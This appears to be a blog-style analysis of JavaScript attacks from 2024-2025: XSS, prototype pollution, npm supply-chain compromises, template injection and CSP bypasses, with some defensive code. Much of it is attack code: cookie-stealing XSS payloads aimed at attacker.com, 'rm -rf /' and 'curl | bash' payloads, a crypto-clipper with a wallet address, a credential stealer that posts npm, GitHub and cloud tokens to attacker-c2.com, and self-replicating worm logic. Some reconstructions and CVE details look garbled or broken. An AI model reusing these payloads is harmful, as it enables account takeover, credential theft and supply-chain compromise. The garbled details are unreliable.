javascript-xss-prototype-pollution-supply-chain-attacks (2024-2025)
Introduction to JavaScript Security Landscape
JavaScript has maintained its position as the most widely adopted programming language, with 98% of websites utilizing it for client-side functionality and 67.9% of developers relying on it as their primary development language. In 2024, CVE reports increased 30% from 2023 and 56% from 2022, with 22,254 CVEs documented by mid-2024. This exponential growth in vulnerability disclosures reflects the expanding attack surface inherent to JavaScript's ubiquitous deployment across web applications, mobile applications, and server-side environments through Node.js. This technical analysis examines the most critical JavaScript vulnerabilities, their exploitation techniques, and the sophisticated attack methodologies employed by threat actors targeting client-side and server-side JavaScript implementations.
Cross-Site Scripting (XSS) Attack Vectors
XSS Vulnerability Taxonomy
Cross-site scripting remains the most prevalent JavaScript vulnerability class, enabling attackers to inject malicious scripts into trusted websites that execute within victim browsers. XSS attacks commonly transmit private data like cookies or session information to attackers, redirect victims to attacker-controlled content, or perform malicious operations under the guise of vulnerable sites.
XSS Attack Classifications:
-
Reflected XSS (Non-Persistent)
- Malicious scripts reflected off web servers through HTTP requests
- Payload embedded in URL parameters, form submissions, or HTTP headers
- Example attack vector:
https://vulnerable-site.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Server returns unvalidated input directly in HTTP response
- Requires social engineering to deliver malicious links to victims
-
Stored XSS (Persistent)
- Malicious scripts permanently stored in application databases
- Payload retrieved and executed whenever users access compromised content
- Common injection points: user profiles, comment sections, message boards, blog posts
- Higher impact than reflected XSS due to automatic execution without user interaction
- Example: Forum post containing
<img src=x onerror="new Image().src='https://attacker.com/log?c='+document.cookie">
-
DOM-Based XSS (Type-0 XSS)
- Exploitation occurs entirely within client-side JavaScript execution context
- Server response remains unchanged; attack modifies Document Object Model environment
- Vulnerability arises when JavaScript takes data from attacker-controllable sources like URLs and passes it to sinks supporting dynamic code execution such as eval() or innerHTML
- Payload never reaches server, evading traditional server-side detection mechanisms
- Attack leverages URL fragments (data after "#") not transmitted to servers
DOM-Based XSS Technical Exploitation
DOM XSS occurs when attackers manipulate the Document Object Model through malicious input, causing browsers to execute unintended scripts entirely on the client side.
Common DOM XSS Sources (User-Controllable Input):
window.locationand derived properties:location.href,location.search,location.hash,location.pathnamedocument.URLanddocument.documentURIdocument.referrer(HTTP Referer header)window.name(persistent across page navigations)postMessageevents from cross-origin windowslocalStorageandsessionStoragedata retrieval- Web API responses and JSON parsing results
Dangerous DOM XSS Sinks (Code Execution Points):
- Direct HTML rendering:
innerHTML,outerHTML,document.write(),document.writeln() - Dynamic script evaluation:
eval(),Function(),setTimeout(),setInterval()with string arguments - JavaScript protocol handlers:
location.href = 'javascript:malicious_code' - Script tag manipulation:
script.src,script.text,script.textContent - Event handler attributes:
element.setAttribute('onclick', 'malicious_code') - jQuery methods:
$(),.html(),.append(),.after(),.before()
DOM XSS Attack Example:
// Vulnerable Code
const params = new URLSearchParams(window.location.search);
const userName = params.get('user');
document.getElementById('welcome').innerHTML = 'Hello ' + userName;
Exploitation URL:
https://banking-site.com/dashboard?user=<img src=x onerror="fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify({cookies:document.cookie,localStorage:JSON.stringify(localStorage)})})">
When victims access this URL, the malicious <img> tag executes JavaScript that exfiltrates authentication cookies and local storage data to attacker-controlled servers, enabling session hijacking and account takeover.
Advanced XSS Bypass Techniques
Web Application Firewall (WAF) Evasion:
-
Character Encoding Manipulation:
- HTML entity encoding:
<script>→<script> - URL encoding:
%3Cscript%3E→<script> - Unicode encoding:
\u003cscript\u003e→<script> - Base64 obfuscation:
atob('YWxlcnQoMSk=')→alert(1)
- HTML entity encoding:
-
Event Handler Exploitation:
<svg onload=alert(document.domain)> <body onpageshow=alert(1)> <input autofocus onfocus=alert(1)> <marquee onstart=alert(1)> <video><source onerror="alert(1)"> -
Alternative Execution Contexts:
- JavaScript protocol:
<a href="javascript:alert(1)">Click</a> - Data URIs:
<iframe src="data:text/html,<script>alert(1)</script>"> - SVG script execution:
<svg><script>alert(1)</script></svg>
- JavaScript protocol:
-
Filter Bypass Techniques:
// Bypassing keyword filtering <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> // Template literal exploitation <img src=x onerror=`alert`1`> // Constructor injection <img src=x onerror="[].constructor.constructor('alert(1)')()">
Recent XSS Zero-Day Vulnerabilities
CVE-2024-44308 is a high-severity XSS vulnerability discovered in November 2024 affecting JavaScriptCore, a component of Apple's WebKit rendering engine. The vulnerability involved improper memory management when processing JavaScript code, allowing attackers to break out of JavaScript's security sandbox and bypass browser security boundaries.
CVE-2024-44308 Technical Details:
- CVSS Score: 7.5 (High Severity)
- Affected Components: Safari, WebKit-based applications across Apple ecosystem
- Attack Vector: Malicious websites with crafted JavaScript code
- Impact: Memory corruption leading to arbitrary code execution across multiple sites
- Exploitation: Zero-click, requiring only website visitation
- Mitigation: Content Security Policy (CSP) bypass capability
The vulnerability enabled cross-origin attacks, violating same-origin policy by allowing malicious JavaScript to access data from unrelated websites within the same browser session.
Prototype Pollution Vulnerabilities
JavaScript Prototype Chain Architecture
Prototype pollution enables attackers to add arbitrary properties to global object prototypes, which user-defined objects subsequently inherit. JavaScript implements inheritance through prototypes, where each object maintains a [[Prototype]] reference to its parent object, creating a prototype chain terminating at Object.prototype.
Prototype Chain Structure:
const userObject = { name: "Alice" };
// Prototype chain: userObject → Object.prototype → null
// Property lookup traverses prototype chain
userObject.toString(); // Inherited from Object.prototype
userObject.hasOwnProperty('name'); // true (own property)
userObject.hasOwnProperty('toString'); // false (inherited property)
Prototype Pollution Attack Mechanics
Prototype pollution vulnerabilities arise when JavaScript functions recursively merge objects containing user-controllable properties into existing objects without sanitizing keys.
Vulnerable Code Pattern:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attacker-controlled input
const maliciousPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, maliciousPayload);
// All objects now inherit isAdmin property
const newUser = {};
console.log(newUser.isAdmin); // true (pollution successful)
Pollution Vectors:
-
__proto__Property Injection:const obj = {}; obj["__proto__"]["polluted"] = "malicious_value"; // Affects all objects const victim = {}; console.log(victim.polluted); // "malicious_value" -
constructor.prototypeExploitation:const obj = {}; obj["constructor"]["prototype"]["polluted"] = "malicious_value"; // Alternative pollution method when __proto__ is blocked -
URL Parameter Pollution:
// URL: https://site.com?__proto__[isAdmin]=true const params = new URLSearchParams(window.location.search); const config = {}; params.forEach((value, key) => { config[key] = value; // Vulnerable to pollution });
Prototype Pollution Gadget Chains
CVE-2024-6783 in Vue.js demonstrates how prototype pollution enables XSS attacks by abusing staticClass or staticStyle properties.
Vue.js Prototype Pollution to XSS Exploit:
// Attacker pollutes Object.prototype
const maliciousInput = {
"__proto__": {
"staticClass": "{constructor.constructor('alert(document.domain)')()}"
}
};
// Unsafe merge operation
_.merge({}, maliciousInput);
// Vue component renders polluted property
const vm = new Vue({
render: h => h('div')
});
vm.$mount(); // Executes injected JavaScript
Server-Side Prototype Pollution (Node.js):
Remote code execution through property pollution:
// Vulnerable Express.js endpoint
app.post('/config', (req, res) => {
const config = {};
Object.assign(config, req.body); // Vulnerable merge
// Later code execution
if (config.shell) {
require('child_process').exec(config.shell); // RCE
}
});
// Attacker payload
POST /config
Content-Type: application/json
{
"__proto__": {
"shell": "rm -rf / --no-preserve-root"
}
}
Client-Side Prototype Pollution Impact:
-
DOM XSS Exploitation:
- Polluting sanitization whitelist properties
- Bypassing DOMPurify and similar sanitization libraries
- Overriding template rendering properties
-
Authentication Bypass:
function checkPermission(user) { if (user.isAdmin) { // Checks polluted prototype property return true; } return false; } -
Denial of Service:
- Polluting critical application state
- Triggering infinite loops through property conflicts
- Memory exhaustion through recursive prototype access
Prototype Pollution Mitigation Strategies
Defensive Coding Practices:
-
Object Creation Without Prototypes:
const safeObject = Object.create(null); // No prototype chain, immune to pollution -
Freezing Prototypes:
Object.freeze(Object.prototype); Object.freeze(Array.prototype); // Prevents property additions to prototypes -
Input Validation and Schema Enforcement:
const Ajv = require('ajv'); const ajv = new Ajv(); const schema = { type: 'object', properties: { name: { type: 'string' }, email: { type: 'string' } }, additionalProperties: false // Reject __proto__, constructor }; const validate = ajv.compile(schema); if (!validate(userInput)) { throw new Error('Invalid input'); } -
Safe Merge Implementations:
function safeMerge(target, source) { const blockedKeys = ['__proto__', 'constructor', 'prototype']; for (let key in source) { if (blockedKeys.includes(key)) continue; if (source.hasOwnProperty(key)) { target[key] = source[key]; } } return target; }
Supply Chain Attacks Targeting JavaScript Ecosystem
npm Package Repository Compromise
On September 8, 2025, the JavaScript ecosystem suffered a major supply chain attack targeting 18 widely used npm packages with over 2.6 billion weekly downloads combined.
Attack Methodology:
-
Initial Access - Credential Phishing:
- Attackers impersonated npm support staff
- Sophisticated phishing emails requesting 2FA reset
- Compromised developer account "qix" with maintainer privileges
- Targeted packages included chalk (300 million weekly downloads), strip-ansi (261 million), color-convert (193 million), and color-name (191 million)
-
Malicious Code Injection:
// Injected cryptojacking payload in package installation script { "scripts": { "postinstall": "node -e \"require('https').get('https://attacker.com/payload.js', r => { let d=''; r.on('data', c => d+=c); r.on('end', () => eval(d)); })\"" } } -
Cryptocurrency Theft Mechanism: The payload functioned as a crypto-clipper, stealing funds by swapping wallet addresses in network requests and hijacking cryptocurrency transactions
Cryptojacker Technical Implementation:
// Wallet address replacement attack
const originalFetch = window.fetch;
window.fetch = function(...args) {
let [url, options] = args;
// Intercept cryptocurrency transaction requests
if (options && options.body) {
let body = JSON.parse(options.body);
// Replace victim wallet address with attacker wallet
if (body.recipient && /^0x[a-fA-F0-9]{40}$/.test(body.recipient)) {
body.recipient = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"; // Attacker wallet
}
options.body = JSON.stringify(body);
}
return originalFetch.apply(this, [url, options]);
};
// Hijack cryptocurrency wallet extensions
if (window.ethereum) {
const originalRequest = window.ethereum.request;
window.ethereum.request = function(args) {
if (args.method === 'eth_sendTransaction') {
args.params[0].to = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976";
}
return originalRequest.call(this, args);
};
}
Shai-Hulud Worm: Self-Replicating Supply Chain Attack
A self-replicating worm publicly known as "Shai-Hulud" compromised over 500 npm packages, deploying malware that scanned environments for sensitive credentials including GitHub Personal Access Tokens and API keys for AWS, GCP, and Azure.
Shai-Hulud Attack Chain:
-
Initial Compromise:
- Phishing campaign spoofing npm security alerts
- Credential harvesting targeting package maintainers
- Multi-factor authentication bypass through social engineering
-
Credential Exfiltration:
// Malicious package installation script const fs = require('fs'); const https = require('https'); const { execSync } = require('child_process'); // Extract npm authentication tokens const npmrcPath = `${process.env.HOME}/.npmrc`; let npmToken = ''; if (fs.existsSync(npmrcPath)) { const npmrc = fs.readFileSync(npmrcPath, 'utf8'); const match = npmrc.match(/_authToken=(.+)/); if (match) npmToken = match[1]; } // Extract GitHub Personal Access Tokens const gitConfigPath = `${process.env.HOME}/.gitconfig`; let githubToken = ''; if (fs.existsSync(gitConfigPath)) { const gitConfig = fs.readFileSync(gitConfigPath, 'utf8'); const match = gitConfig.match(/github\.token\s*=\s*(.+)/); if (match) githubToken = match[1]; } // Download and execute TruffleHog for secret scanning execSync('curl -sSfL https://github.com/trufflesecurity/trufflehog/releases/download/v3.63.7/trufflehog_3.63.7_linux_amd64.tar.gz | tar -xzf - -C /tmp'); const secrets = execSync('/tmp/trufflehog filesystem ~ --json').toString(); // Exfiltrate stolen credentials const payload = JSON.stringify({ npm_token: npmToken, github_token: githubToken, aws_keys: secrets.match(/AKIA[0-9A-Z]{16}/g), gcp_keys: secrets.match(/AIza[0-9A-Za-z_-]{35}/g), azure_keys: secrets.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g), secrets: secrets }); https.request({ hostname: 'attacker-c2.com', port: 443, path: '/exfil', method: 'POST', headers: { 'Content-Type': 'application/json' } }).end(payload); -
Automated Propagation Mechanism: The worm leveraged an automated process to rapidly spread by authenticating to the npm registry as the compromised developer, injecting code into other packages, and publishing compromised versions
// Self-replication logic const { execSync } = require('child_process'); // Authenticate to npm with stolen token execSync(`npm config set //registry.npmjs.org/:_authToken=${stolenToken}`); // Query packages maintained by compromised account const packages = JSON.parse(execSync('npm access list packages').toString()); // Inject malicious code into each package for (const pkg of Object.keys(packages)) { execSync(`git clone https://github.com/user/${pkg}.git /tmp/${pkg}`); // Inject payload into package.json postinstall script const packageJson = require(`/tmp/${pkg}/package.json`); packageJson.scripts.postinstall = "node -e \"eval(require('https').get('https://attacker.com/worm.js'))\""; fs.writeFileSync(`/tmp/${pkg}/package.json`, JSON.stringify(packageJson)); // Publish compromised version execSync(`cd /tmp/${pkg} && npm version patch && npm publish`); } -
Dead Man's Switch Mechanism: The Shai-Hulud variant included destructive data wiping functionality activated when C2 infrastructure became unavailable, threatening mass data destruction if remediation efforts were detected.
Additional Supply Chain Attack Vectors
Polyfill.io CDN Compromise (June 2024):
The June 2024 Polyfill.io JavaScript library attack affected over 100,000 websites when the CDN was acquired by a Chinese company that weaponized it to inject malicious code.
Attack Implementation:
// Original legitimate polyfill code
(function(window, document) {
// Browser compatibility shims
if (!Array.prototype.forEach) {
Array.prototype.forEach = function(callback) {
for (var i = 0; i < this.length; i++) {
callback(this[i], i, this);
}
};
}
})(window, document);
// Maliciously injected code
(function() {
const script = document.createElement('script');
script.src = 'https://attacker-cdn.com/malware.js?' + Math.random();
document.head.appendChild(script);
// Credential harvesting for form submissions
document.addEventListener('submit', function(e) {
const formData = new FormData(e.target);
const data = Object.fromEntries(formData.entries());
navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(data));
});
})();
Impact included credential theft, session hijacking, and malware distribution affecting major platforms including Hulu, Mercedes-Benz, and Warner Bros.
Insecure Deserialization Attacks
JSON Deserialization Vulnerabilities
JavaScript's JSON.parse() and related deserialization mechanisms can be exploited when processing untrusted data containing executable code references.
Vulnerable Deserialization Pattern:
// Vulnerable code using eval for JSON parsing
function unsafeDeserialize(jsonString) {
return eval('(' + jsonString + ')'); // Extremely dangerous
}
// Attacker payload
const maliciousPayload = '{"data": "normal", "__proto__": {"isAdmin": true}}';
const obj = unsafeDeserialize(maliciousPayload);
// Alternative exploitation using Function constructor
function parseConfig(input) {
return new Function('return ' + input)(); // Code execution
}
// Malicious input
parseConfig('{"key": "value", "exploit": (function(){require("child_process").exec("curl attacker.com/shell.sh | bash")})()}');
Safe Deserialization Implementation:
// Secure JSON parsing with schema validation
const Ajv = require('ajv');
const ajv = new Ajv({ removeAdditional: true });
const schema = {
type: 'object',
properties: {
username: { type: 'string', maxLength: 50 },
email: { type: 'string', format: 'email' },
age: { type: 'number', minimum: 0, maximum: 150 }
},
required: ['username', 'email'],
additionalProperties: false
};
function safeDeserialize(jsonString) {
try {
const obj = JSON.parse(jsonString);
const validate = ajv.compile(schema);
if (!validate(obj)) {
throw new Error(`Validation failed: ${ajv.errorsText(validate.errors)}`);
}
return obj;
} catch (e) {
console.error('Deserialization error:', e);
return null;
}
}
Client-Side Template Injection
AngularJS Template Exploitation
AngularJS applications using the ng-app directive process expressions within double curly braces {{ }}, creating code injection opportunities.
Template Injection Attack:
// Vulnerable AngularJS template
<div ng-app>
<input ng-model="search" placeholder="Search...">
<div>Search results for: {{search}}</div>
</div>
// Attacker input: {{constructor.constructor('alert(document.cookie)')()}}
// Executed as JavaScript within AngularJS context
Advanced AngularJS Sandbox Bypass:
// AngularJS 1.6+ sandbox bypass
{{
x=['constructor'];
y=x.constructor('alert(1)');
y()
}}
// Alternative payload using $eval
{{
$eval.constructor('alert(document.domain)')()
}}
// Prototype chain traversal
{{
''['constructor']['constructor']('alert(1)')()
}}
Server-Side JavaScript Injection (SSJI)
Node.js applications using template engines without proper sanitization are vulnerable to server-side code injection.
Handlebars Template Injection:
// Vulnerable Handlebars implementation
const Handlebars = require('handlebars');
const template = Handlebars.compile('<h1>Welcome {{name}}</h1>');
// Attacker input exploiting AST manipulation
const maliciousInput = {
name: {
type: 'NumberLiteral',
value: "'; process.mainModule.require('child_process').exec('rm -rf /'); //",
original: 1
}
};
const result = template(maliciousInput); // Remote code execution
Pug (Jade) Template Injection:
// Vulnerable Pug template
const pug = require('pug');
const template = pug.compile('h1= greeting');
// Malicious input
const data = {
greeting: "Hello #{process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()}"
};
const html = template(data); // Executes system commands
Content Security Policy (CSP) Bypass Techniques
CSP Implementation and Weaknesses
Content Security Policy provides defense-in-depth against XSS by restricting resource loading origins and inline script execution.
CSP Header Example:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
object-src 'none';
base-uri 'self';
CSP Bypass Methods:
-
JSONP Endpoint Exploitation:
// Vulnerable JSONP endpoint at trusted-cdn.com // https://trusted-cdn.com/api?callback=malicious_function // Attacker-controlled callback <script src="https://trusted-cdn.com/api?callback=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))"></script> -
AngularJS CDN Exploitation:
<!-- If AngularJS CDN is whitelisted --> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script> <div ng-app ng-csp> {{constructor.constructor('alert(1)')()}} </div> -
Dangling Markup Injection:
<!-- Steal CSRF tokens through incomplete tags --> <img src='https://attacker.com/log? <!-- Browser includes subsequent content until quote closure --> -
Base Tag Injection:
<!-- Redirect relative script sources --> <base href="https://attacker.com/"> <script src="/legitimate-script.js"></script> <!-- Loads https://attacker.com/legitimate-script.js instead -->
Advanced Attack Techniques
Mutation XSS (mXSS)
Mutation XSS exploits browser HTML parser inconsistencies where sanitized input mutates into executable code during DOM rendering.
mXSS Example:
<!-- Initial sanitized input -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- After browser parsing (Internet Explorer) -->
<noscript></noscript>
<img src=x onerror=alert(1)>
<p title=""></p>
<!-- Script executes despite sanitization -->
DOM Clobbering
DOM clobbering exploits browser behavior where HTML elements with id or name attributes create global JavaScript variables.
DOM Clobbering Attack:
<!-- Attacker-injected HTML -->
<form id="userConfig">
<input name="apiEndpoint" value="https://attacker.com/api">
</form>
<!-- Vulnerable JavaScript code -->
<script>
const endpoint = window.userConfig.apiEndpoint.value;
fetch(endpoint + '/data'); // Sends request to attacker.com
</script>
CVE-2024-43788 in webpack demonstrates DOM clobbering in the AutoPublicPathRuntimeModule class, where non-script HTML elements with unsanitized name and id attributes can be leveraged to execute code.
Webpack DOM Clobbering Exploit:
<!-- Inject HTML element with specific name -->
<a id="webpackPublicPath" href="https://attacker.com/malicious/"></a>
<!-- Webpack's runtime code references global webpackPublicPath -->
<!-- Loads chunks from attacker-controlled domain -->
<script src="https://attacker.com/malicious/chunk-123.js"></script>
PostMessage Vulnerabilities
Cross-origin communication via window.postMessage can be exploited when insufficient origin validation is implemented.
Vulnerable PostMessage Receiver:
// Insecure message handler
window.addEventListener('message', function(event) {
// No origin check - accepts messages from any domain
document.getElementById('output').innerHTML = event.data;
});
// Attacker sends malicious payload
const targetWindow = window.open('https://vulnerable-site.com');
setTimeout(() => {
targetWindow.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
}, 1000);
Secure PostMessage Implementation:
// Secure message handler with origin validation
window.addEventListener('message', function(event) {
// Whitelist trusted origins
const trustedOrigins = ['https://trusted-site.com', 'https://api.trusted.com'];
if (!trustedOrigins.includes(event.origin)) {
console.warn('Message from untrusted origin:', event.origin);
return;
}
// Validate message structure
if (typeof event.data !== 'object' || !event.data.type) {
return;
}
// Safe data handling with DOMPurify
const sanitized = DOMPurify.sanitize(event.data.content);
document.getElementById('output').textContent = sanitized;
});
Comments
Post a Comment